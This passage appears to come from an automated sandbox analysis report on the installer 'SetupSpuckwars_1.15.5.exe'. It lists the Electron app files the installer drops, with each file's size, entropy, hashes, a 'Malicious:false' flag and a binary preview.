                                                                                                                                  Preview:..........?.h.d...i.u...j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.$.....,.....1.....9.....A.....I.....P.....W.....^....._.....`.....b.......................#.....=.....X.............................I.....K.....O.....w...................................(.....B.....w.........................................B.....k.............................+.....D....._.....i.....y...................................Q...............................................&.....H.....l.....x.............................B.....e............................./.....O.........................................(.....H.....O.....R.....S.....].....i.......................5...........Q.....a...........1.....^................................... .....*.....N.......................O............................. .....5.....h.....}... .....".....%.....(.%...*.W...+.Z...,.x........./.....0.....1.4...3.K...4.....5.....6.$...7.L...8.z...9.....;.....<.....=.....>.!...?.2...@.S...A.....C...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\sv.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):370331
                                                                                                                                  Entropy (8bit):5.550902354924257
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:A3J7MHJrRRcAjowQx+ByxN6dn4bLXvu9M7SOVDE/xUDv6o5WI5ggbN:G7EHl9BdU5X5x
                                                                                                                                  MD5:272F8A8B517C7283EAB83BA6993EEA63
                                                                                                                                  SHA1:AD4175331B948BD4F1F323A4938863472D9B700C
                                                                                                                                  SHA-256:D15B46BC9B5E31449B11251DF19CD2BA4920C759BD6D4FA8CA93FD3361FDD968
                                                                                                                                  SHA-512:3A0930B7F228A779F727EBFB6AE8820AB5CC2C9E04C986BCE7B0F49F9BF124F349248ECDF108EDF8870F96B06D58DEA93A3E0E2F2DA90537632F2109E1AA65F0
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........q.h.....i.....j.....k.,...l.7...n.?...o.D...p.Q...r.W...s.h...t.q...v.....w.....y.....z.....|.....}.........................................................................(.....9.....K....._.....g.....p.....................................................%.....=.....C.....S.....d.....k.....x.................................................................W.....m.....y.................................................................?.....c.......................................................................,.....4.....?.....W.....g.................................................................".....4.....E.....b.....i.....l.....m.....u.....}.............................&.....`.....g.........................................".....*.....,.....2.....D.....e.....}.............................1.....7.....A.....Q.....`.....h... .m...".w...%.....(.....*.....+.....,.........../.....0.1...1.]...3.g...4.....5.....6.....7.....8.....9.....;.....<.%...=.3...>.J...?.S...@.c...A.....C...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\sw.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):388458
                                                                                                                                  Entropy (8bit):5.356168167447509
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:24pV6wBz58kN6vhq//3UZFBIzDWs8ADjLKrYNguA/h5aS0DwV+ChZYeeq0e1k4H5:24bVd5B/3U/BLs8kMKguA/h5N1hZY+0u
                                                                                                                                  MD5:67A443A5C2EAAD32625EDB5F8DEB7852
                                                                                                                                  SHA1:A6137841E8E7736C5EDE1D0DC0CE3A44DC41013F
                                                                                                                                  SHA-256:41DFB772AE4C6F9E879BF7B4FA776B2877A2F8740FA747031B3D6F57F34D81DD
                                                                                                                                  SHA-512:E0FDFF1C3C834D8AF8634F43C2F16BA5B883A8D88DFD322593A13830047568FAF9F41D0BF73CD59E2E33C38FA58998D4702D2B0C21666717A86945D18B3F29E5
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........K.h.L...i.W...j.c...k.r...l.}...n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.........................#.....+.....2.....9.....@.....A.....B.....G.....k.....}...........................................................!.....%.....M.....c...........................................................$.....5.....?.....E.....\.....p.....}.................................................................6.....N.....p.................................................................?.....F.....X.........................................K.....U.....`.....l.....................................................%.....,...../.....0.....=.....D.....I.....P.....W.....c.............................6.....N.....c.................................................................L.....e................................................... .!...".1...%.U...(.o...*.....+.....,.........../.....0.....1. ...3.6...4.L...5.i...6.....7.....8.....9.....;.....<.....=.....>.....?.&...@.A...A.q.

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\ta.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):987188
                                                                                                                                  Entropy (8bit):4.090571010189695
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:3072:S3YCY5ynH4ASpuCkCxSiP84Gb/v5nB7zztROcA2P:SnVUdQO84Gb/v55zztROcA2P
                                                                                                                                  MD5:18EC8FF3C0701A6A8C48F341D368BAB5
                                                                                                                                  SHA1:8BFF8AEE26B990CF739A29F83EFDF883817E59D8
                                                                                                                                  SHA-256:052BCDB64A80E504BB6552B97881526795B64E0AB7EE5FC031F3EDF87160DEE9
                                                                                                                                  SHA-512:A0E997FC9D316277DE3F4773388835C287AB1A35770C01E376FB7428FF87683A425F6A6A605D38DD7904CA39C50998CD85F855CB33AE6ABAD47AC85A1584FE4E
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........x.h.....i.....j.....k.....l.)...n.1...o.6...p.C...r.I...s.Z...t.c...v.x...w.....y.....z.....|.....}...........................................................................................).....G.....P.......................M...........................................................,.....{.................&.....p.............................5.....W...........L.....d.......................#.....&.....8.....p.......................y...........+.....M.....Y.....a.....h.......................0.....K.....s.......................?...........$.....{.......................6.....w.....z.................1.....d...............................................1.....D...........c...........................................................$.....K.....c.....o.................S...........0.................U.....j........................... . ...".Z...%.....(.)...*.....+.....,.........../.....0.....1.....3.....4.7...5.....6.Z...7.....8.....9.$...;.g...<.....=.....>.....?.....@.0...A.y...C...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\te.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):916416
                                                                                                                                  Entropy (8bit):4.338166638560127
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:12288:iy/yX8OsABW3p1F9SviTlwJAg5NFO1Tr/p54JAQvfEC28+58XoX0DTq9OyU+0Ak1:vu8OkDY5YMZb
                                                                                                                                  MD5:A17F16D7A038B0FA3A87D7B1B8095766
                                                                                                                                  SHA1:B2F845E52B32C513E6565248F91901AB6874E117
                                                                                                                                  SHA-256:D39716633228A5872630522306F89AF8585F8092779892087C3F1230D21A489E
                                                                                                                                  SHA-512:371FB44B20B8ABA00C4D6F17701FA4303181AD628F60C7B4218E33BE7026F118F619D66D679BFFCB0213C48700FAFD36B2E704499A362F715F63EA9A75D719E7
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........8.h.r...i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.#...|.)...}.;.....C.....H.....P.....X.....`.....g.....n.....u.....v.....w.....|...........3.....g.............................@.....U...........4.....6.....B.....j.......................2.......................>.....`...........$.....U.....s...............................................,.....o.............................>.................<.................p.........................................8.......................M.....~.........................................P.....l.............................2.....T.........................................0.....W.....~.............................7.............................c.................7.....C.....s.......................T...........A.................p.......................C............... .....".....%.K...(.....*.....+.....,.......I.../.....0.....1.U...3.x...4.....5.....6.....7.....8."...9.V...;.....<.....=.....>.....?.....@.=...A...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\th.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):771431
                                                                                                                                  Entropy (8bit):4.388714549432334
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:12288:5ZY31Mkgs3s5UvfZLRflsjj8FCG1LDoAGkEeuLAD57Kle9d8nyj9FR3o09XAyFHa:57yU5K54
                                                                                                                                  MD5:A32BA63FEEED9B91F6D6800B51E5AEAE
                                                                                                                                  SHA1:2FBF6783996E8315A4FB94B7D859564350EE5918
                                                                                                                                  SHA-256:E32E37CA0AB30F1816FE6DF37E3168E1022F1D3737C94F5472AB6600D97A45F6
                                                                                                                                  SHA-512:ADEBDE0F929820D8368096A9C30961BA7B33815B0F124CA56CA05767BA6D081ADF964088CB2B9FCAA07F756B946FFFA701F0B64B07D457C99FD2B498CBD1E8A5
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:............h.....i.....j.....k.....l.....o.....p.'...r.-...s.>...t.G...v.\...w.i...y.o...z.~...|.....}...............................................................................2.....V.............................\.....z...................................E.....r.............................&.....M.............................;.....V.....h.................1.............................+.....L.....X.....[.....j.......................2.....e...............................................&.....E.....~.................&.....Y.....t.................O.............................0.....3.....W.....x.........................................".....C.....U.....h.......................3.....E.................D.............................".....=.....d.......................e.................H....................................... .7...".L...%.....(.....*.*...+.-...,.>.....n.../.....0.....1.>...3.l...4.....5.....6.{...7.....8.....9.....;.....<.3...=.X...>.....?.....@.....A.-...C.r...D.....E...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\tr.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):395016
                                                                                                                                  Entropy (8bit):5.625100269002306
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:xxl+G2KPlJi+kKD80GlTgAI7WTge95j/0+Vi1havX9vwiBrVmI:rlt2IlrRn57m5j/1
                                                                                                                                  MD5:5FF2E5C95067A339E3D6B8985156EC1F
                                                                                                                                  SHA1:7525B25C7B07F54B63B6459A0D8C8C720BD8A398
                                                                                                                                  SHA-256:14A131BA318274CF10DE533A19776DB288F08A294CF7E564B7769FD41C7F2582
                                                                                                                                  SHA-512:2414386DF8D7AB75DCBD6CA2B9AE62BA8E953DDB8CD8661A9F984EB5E573637740C7A79050B2B303AF3D5B1D4D1BB21DC658283638718FDD04FC6E5891949D1B
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........".h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v."...w./...y.5...z.D...|.J...}.\.....d.....i.....q.....y.......................................................................#.....1.....O.....\.....p.........................................................../.....9.....R.....|...........................................................J.....b.....f.....n.....{.................................................................H.....V.....[.....c.....j.....q.............................................../.....>.....u.................................................................-.....F.....V.....].....`.....a.....k.....t.....{.............................$.....c.....i.........................................(.....2.....;.....B.....[.....{.............................@.....V.....].....c.....r............... .....".....%.....(.....*.....+.....,.......E.../.^...0.g...1.....3.....4.....5.....6.....7.:...8._...9.t...;.....<.....=.....>.....?.....@.....A.....C...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\uk.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):673547
                                                                                                                                  Entropy (8bit):4.9167574403691825
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:12288:Yoff7plonpyOKtPXiNcnZx75kB3IjE8EmLvLNiXEJq//GW:YoffaXMd59E7
                                                                                                                                  MD5:361A0E1F665B9082A457D36209B92A25
                                                                                                                                  SHA1:3C89E1B70B51820BB6BAA64365C64DA6A9898E2F
                                                                                                                                  SHA-256:BD02966F6C6258B66EAE7FF014710925E53FE26E8254D7DB4E9147266025CC3A
                                                                                                                                  SHA-512:D4D25FC58053F8CCE4C073846706DC1ECBC0DC19308BA35501E19676F3E7ED855D7B57AE22A5637F81CEFC1AA032BF8770D0737DF1924F3504813349387C08CF
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:........g...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.(...t.1...v.F...w.S...y.Y...z.h...|.n...}.........................................................................'.....D.....].........................................J...............................................6.....J.....a...................................O.....[.....m.............................C.....M.....].....t...............................................L.....}.........................................=.....d...................................+.....b.....y.............................1.....Q.....}...................................3.....c.....j.....m.....n.....~.............................I...........U.....g...........1.....`.......................*.....>.....R.....`.......................C.....x................./.....A.....U..................... .....".....%.0...(.j...*.....+.....,.........../.J...0.\...1.....3.....4.....5.A...6.....7.....8.....9.....;.....<.%...=.9...>.....?.....@.....A.3...C.m...D...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\ur.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):585532
                                                                                                                                  Entropy (8bit):5.197200392190567
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:12288:UA3OsGF8Pz0WEJytlkA+7Z5QzUExbW7DQQYrhu6co/9NjjFpvJK:UAe3A85oWB
                                                                                                                                  MD5:1CA4FA13BD0089D65DA7CD2376FEB4C6
                                                                                                                                  SHA1:B1BA777E635D78D1E98E43E82D0F7A3DD7E97F9C
                                                                                                                                  SHA-256:3941364D0278E2C4D686FAA4A135D16A457B4BC98C5A08E62AA12F3ADC09AA7F
                                                                                                                                  SHA-512:D0D9EB1AA029BD4C34953EE5F4B60C09CF1D4F0B21C061DB4EDE1B5EC65D7A07FC2F780ADE5CE51F2F781D272AC32257B95EEDF471F7295BA70B5BA51DB6C51D
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........S.h.<...i.D...j.P...k._...l.j...n.r...o.w...p.....r.....s.....t.....v.....w.....y.....z.....|.....}...........................................&.....-.........../.....4.........................................?.....K.....U.........................................3.....H.....g...................................B.....n........................................._.....................................................1.....\.....~.......................G.....k.....z...............................................<...................................\.....................................................:.....U.....s...........................................................$.................b.....w.......................9.....U.....q.....w...................................<.......................?....._.....k........................... .....".....%.0...(.R...*.....+.....,.........../.....0.....1.K...3.e...4.....5.....6.....7.L...8.....9.....;.....<.....=.....>.....?.....@.!...A.Q...C...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\vi.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):466098
                                                                                                                                  Entropy (8bit):5.819101554769623
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:12288:3CwEs5kAfnzs0ACmwSxXwzIJWl+58Qagi7+URTJziV53f:3qOFfnzs0AHwSGz5A5rri7+UtliV53f
                                                                                                                                  MD5:DB0EB3183007DE5AAE10F934FFFACC59
                                                                                                                                  SHA1:E9EA7AEFFE2B3F5CF75AB78630DA342C6F8B7FD9
                                                                                                                                  SHA-256:DDABB225B671B989789E9C2CCD1B5A8F22141A7D9364D4E6EE9B8648305E7897
                                                                                                                                  SHA-512:703EFD12FCACE8172C873006161712DE1919572C58D98B11DE7834C5628444229F5143D231C41DA5B9CF729E32DE58DEE3603CB3D18C6CDD94AA9AA36FBF5DE0
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:........_...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.!...t.*...v.?...w.L...y.R...z.a...|.g...}.y.........................................................................................%.....2.....;.....b.....n.....x.........................................%...../.....F.....f.....q...............................................!.....2.....D.....T.....{.................................................................+.....V.....t...........................................................:.....D.....c...................................F.....................................................#.....A.....Q.....i.................................................................E.....z.............................4.....?.....O.....Z.....e.....x.............................<.....T.....z............................................. ."...".;...%.a...(.....*.....+.....,.........../.....0.....1.G...3.T...4.p...5.....6.....7.....8.....9.....;.+...<.5...=.F...>.a...?.m...@.....A.....C...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\zh-CN.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):340874
                                                                                                                                  Entropy (8bit):6.70707570391969
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:fmLpS8IeOL27M807pnCKjEWkE0G5xNlEPeVplD:fmLQmK2I1nCKjEjG5xNlEPe
                                                                                                                                  MD5:82326E465E3015C64CA1DB77DC6A56BC
                                                                                                                                  SHA1:E8ABE12A8DD2CC741B9637FA8F0E646043BBFE3D
                                                                                                                                  SHA-256:6655FD9DCDFAF2ABF814FFB6C524D67495AED4D923A69924C65ABEAB30BC74FB
                                                                                                                                  SHA-512:4989789C0B2439666DDA4C4F959DFFC0DDCB77595B1F817C13A95ED97619C270151597160320B3F2327A7DAFFC8B521B68878F9E5E5FB3870EB0C43619060407
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:........,...h.J...i.R...j.U...k.d...l.k...m.s...o.y...p.~...r.....s.....t.....v.....w.....|.....}.......................................................%.....'.....,.....Z.....c.....o.......................................................................C.....[.....a.....m.................................................................!.....9.....E.....i.....x.....~.................................................................2.....J.....b.....n.....t.....|...........................................................%.....=.....^......................................................................./.....C.....R.....Y.....\.....^.....s.....|.........................................>.....D.......................................................................(.....@.....j.....|...............................................%... .+...".7...%.R...(.g...*.|...+.....,.........../.....0.....1.....3. ...4.5...5.V...6.....7.....8.....9.....;.....<.....=.....>.,...?.<...@.T...A.....C.....D...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\zh-TW.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):338121
                                                                                                                                  Entropy (8bit):6.721086394879431
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:zQmZEIQee2hZuwv+2440f5lHz8wMCM/9ylTN:cvIpn+2440f5lHzgT/C
                                                                                                                                  MD5:2456BF42275F15E016689DA166DF9008
                                                                                                                                  SHA1:70F7DE47E585DFEA3F5597B5BBA1F436510DECD7
                                                                                                                                  SHA-256:ADF8DF051B55507E5A79FA47AE88C7F38707D02DFAC0CC4A3A7E8E17B58C6479
                                                                                                                                  SHA-512:7E622AFA15C70785AAF7C19604D281EFE0984F621D6599058C97C19D3C0379B2EE2E03B3A7EC597040A4EEE250A782D7EC55C335274DD7DB7C7CA97DDCFD378A
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:............h.....i.+...j./...k.>...l.I...n.Q...o.V...p.^...r.d...s.u...t.~...v.....w.....y.....z.....|.....}.............................................................>.....G.....S.....b.....h.....................................................!.....0.....H.....N.....Z.....i.....r.....~.................................................................2.....D.....J.....S....._.....k.....q.....w.....}.......................................................................).....5.....B.....W.....c.....o.........................................&...../.....;.....G.....Y.....t.....w...............................................................................................[.........................................?.....K.....W.....].....i.....o.....u.........................................E.....T.....Z.....`.....l............... .....".....%.....(.....*.....+.....,.......C.../.[...0.d...1.....3.....4.....5.....6.....7.%...8.7...9.C...;.U...<.e...=.u...>.....?.....@.....A.....C.....D...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\resources.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):5430320
                                                                                                                                  Entropy (8bit):7.995406820581218
                                                                                                                                  Encrypted:true
                                                                                                                                  SSDEEP:98304:/Zgm9tHEEIcjWbEvKfwa2sEJFz993CNh1QeHQF5qrwrw5z0uxRRrY2kuDYj9ds:RgAtkEx4EKfatyNhHwFkkrw5IcRRtkFs
                                                                                                                                  MD5:7971A016AED2FB453C87EB1B8E3F5EB2
                                                                                                                                  SHA1:92B91E352BE8209FADCF081134334DEA147E23B8
                                                                                                                                  SHA-256:9CFD5D29CDE3DE2F042E5E1DA629743A7C95C1211E1B0B001E4EEBC0F0741E06
                                                                                                                                  SHA-512:42082AC0C033655F2EDAE876425A320D96CDAEE6423B85449032C63FC0F7D30914AA3531E65428451C07912265B85F5FEE2ED0BBDB362994D3A1FA7B14186013
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:............f.R......&....h).....,...4_?...4.G...4.J...4.\...4.e...4.l...4Ho...4.u...4.w...4.y...4.}...4....4&....4H....4.....4....4.....4F....4.....4.....4[....4d....4e....4.....4.....4.....4l....4.....4.....4.....4.....4g....4.....5.....5?....5.....5.....5H....5.:...5.=..~5]D...5oE...5;F...57H...5.H...5mI...5}M...56O...5.T...5{y...5c....5.....5.....5.....5.....5.....5G....5W....<.....<Y(...<.*...<j,...<N-...<.1..,<.2..-</=...<.H../<.T..0<._...@.p...@.x...@g|...@}}...@.~...@.i...Agv...A]x...A.....A.....A'....A....A.....A.....AT....Al....A.....A.....Ao....A$....A.....A2....A=....Ae....A.....A.....AS!...A.%...AH,...Am:...AM<...A:>...A.@...AuB...A.C.. AZF...N....N.....N.....Nc....NL....N....NM....N.....O.....O}....O.....O.....O#....O.....O}....O.....Od....O4....O.....O.0...O.7...Og>...O.A..$O.W..%O.Y..&O]c..'O.d..(O.i..)O.k..*Opm..+O.x..,O(|..-Oq....O..../O....0O....1O...2Og...3O....4O....5Ot...6O....7O....8OV...9OB...:O....;Om...<O....=O....>O....?Om...@OI...AO....BO....CO....DO..

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\resources\app.asar

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):21729583
                                                                                                                                  Entropy (8bit):6.47169237121468
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:98304:knVrBseUEGhCTOi8sQrZwwpxTbG9tIagImnkiold7GfbJLljZF+3J0gWuXYRM84V:yseUEpB91gImMMxlY3Cg51d
                                                                                                                                  MD5:A77D5A076857B815D5D3FF51E0CC833E
                                                                                                                                  SHA1:BB6B59129F86F41DAA0658046DE9E4C3981E199E
                                                                                                                                  SHA-256:B994E8EE197648AAC2D90BF58C32BA0601D2B0FD8E8B70A9783CFD84A5E37EFC
                                                                                                                                  SHA-512:6116F103ED867DE0488F483695C28C75B7615173F4B4B0BE24248D87BFD6DE4875AC9EEAEC0100AF6FB45F6B2062E57AB84EAE1CE014929BFD78E0F93A7B4773
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:....L...H...D...{"files":{"AzRkApq1MdmLapQ.js":{"size":1080825,"integrity":{"algorithm":"SHA256","hash":"325c3af31c7049a864a56be6de96f65b9d8fbe040e19ac3feb35f11490dc0860","blockSize":4194304,"blocks":["325c3af31c7049a864a56be6de96f65b9d8fbe040e19ac3feb35f11490dc0860"]},"offset":"0"},"package.json":{"size":482,"integrity":{"algorithm":"SHA256","hash":"4470cd3696843db6a8be189f1de76410656a55f9703934091d203a8302e9c961","blockSize":4194304,"blocks":["4470cd3696843db6a8be189f1de76410656a55f9703934091d203a8302e9c961"]},"offset":"1080825"},"node_modules":{"files":{"abbrev":{"files":{"LICENSE":{"size":2011,"integrity":{"algorithm":"SHA256","hash":"9e0d5c7989f7e9f07d7c4b158aceff270f235eb7464ace41c5e7b200834a43e0","blockSize":4194304,"blocks":["9e0d5c7989f7e9f07d7c4b158aceff270f235eb7464ace41c5e7b200834a43e0"]},"offset":"2019849"},"abbrev.js":{"size":1763,"integrity":{"algorithm":"SHA256","hash":"77e68ed8bb552a11a5ece29800e0afe34bcc098d14a1b88dd44273f68be43943","blockSize":4194304,"blocks":["77e6

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\resources\elevate.exe

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):107520
                                                                                                                                  Entropy (8bit):6.442687067441468
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:3072:1bLnrwQoRDtdMMgSXiFJWcIgUVCfRjV/GrWl:1PrwRhte1XsE1l
                                                                                                                                  MD5:792B92C8AD13C46F27C7CED0810694DF
                                                                                                                                  SHA1:D8D449B92DE20A57DF722DF46435BA4553ECC802
                                                                                                                                  SHA-256:9B1FBF0C11C520AE714AF8AA9AF12CFD48503EEDECD7398D8992EE94D1B4DC37
                                                                                                                                  SHA-512:6C247254DC18ED81213A978CCE2E321D6692848C64307097D2C43432A42F4F4F6D3CF22FB92610DFA8B7B16A5F1D94E9017CF64F88F2D08E79C0FE71A9121E40
                                                                                                                                  Malicious:false
                                                                                                                                  Antivirus:
                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B..O..............h.......j.q.....k.....e......e......e.......zR........._...h......h.f.............h......Rich....................PE..L......W............................l........0....@.......................................@....................................P.......x.......................T.......p...............................@............0..$............................text............................... ..`.rdata...k...0...l..................@..@.data...............................@....gfids..............................@..@.rsrc...x...........................@..@.reloc..T...........................@..B........................................................................................................................................................................................................................................................

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\snapshot_blob.bin

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):162352
                                                                                                                                  Entropy (8bit):4.860588090157433
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:1536:uebVb91USSzM+uCPNgswpzHD41OzB965pUB8/DR9BgyLMRPoq/rX4JHj/kMKE0YC:uTgsED41OV965LXMj4zF2Xl9B
                                                                                                                                  MD5:8FEF5A96DBCC46887C3FF392CBDB1B48
                                                                                                                                  SHA1:ED592D75222B7828B7B7AAB97B83516F60772351
                                                                                                                                  SHA-256:4DE0F720C416776423ADD7ADA621DA95D0D188D574F08E36E822AD10D85C3ECE
                                                                                                                                  SHA-512:E52C7820C69863ECC1E3B552B7F20DA2AD5492B52CAC97502152EBFF45E7A45B00E6925679FD7477CDC79C68B081D6572EEED7AED773416D42C9200ACCC7230E
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:.........4D11.0.226.20-electron.0...........................................6.. ...`.......06..a........a........a........ar.......a........a..............a.D.q..........`$.........D.u..........`$.......D.y..........`$.......u.D.}..........`$.........D............`D.........D............`$.......=.D............`$.......D............`$.......D............`$.........D............`$.......D............`$......ID............`$.......D............`$.......D............`$....(Jb....D.....@..F^.!..%.`.....(Jb....H.....@..F^..`.....H...IDa........D`....D`....D`.......`.....D]...D....D`......VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa...........VIa............L.........................................................................................................................................................................

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\spuckwars.exe

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):162028032
                                                                                                                                  Entropy (8bit):6.733467572611259
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:1572864:mCquurbtqKajQe7vqrTU4PrCsdCXrBngPE1cG7VOWe2IkBmUgq3Fd6iU3x6VCdbm:8DAgZi
                                                                                                                                  MD5:6DE6C1C8E6ECD92A94595EBC1189C2B2
                                                                                                                                  SHA1:A9D5129A026FF6232C827281294466F7C0E5E3F2
                                                                                                                                  SHA-256:3F4BBC554C95E66A418A835FA55D1CDA8A48CFE25D7323F4D92693DE2FAEF245
                                                                                                                                  SHA-512:C518F1E3D4EDB1A3E41F0D8C9A31D17C0F6997F1638D8CAD3D6F7167A5D4020D0A467EE3919BDA6B0AE902A914F1D4E354E6F22042FC4D167C674BE853FBE95A
                                                                                                                                  Malicious:false
                                                                                                                                  Antivirus:
                                                                                                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                  Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...>..d.........."......v.....................@..........................................`...........................................D.od..e.H.T............p..,.@.............`.....:.......................:.(...`...8...........P,H......iD......................text....u.......v.................. ..`.rdata...`k......bk..|..............@..@.data....bE...L.......K.............@....pdata..,.@..p....@...V.............@..@.00cfg..(............J..............@..@.gxfg....B.......B...L..............@..@.retplne.....`...........................rodata......p...................... ..`.tls................................@....voltbl.R...............................CPADinfo8...........................@...LZMADEC............................. ..`_RDATA..............................@..@malloc_h............................ ..`.rsrc...............................@..@.reloc..`.......

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\v8_context_snapshot.bin

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):476792
                                                                                                                                  Entropy (8bit):5.595608653079527
                                                                                                                                  Encrypted:false
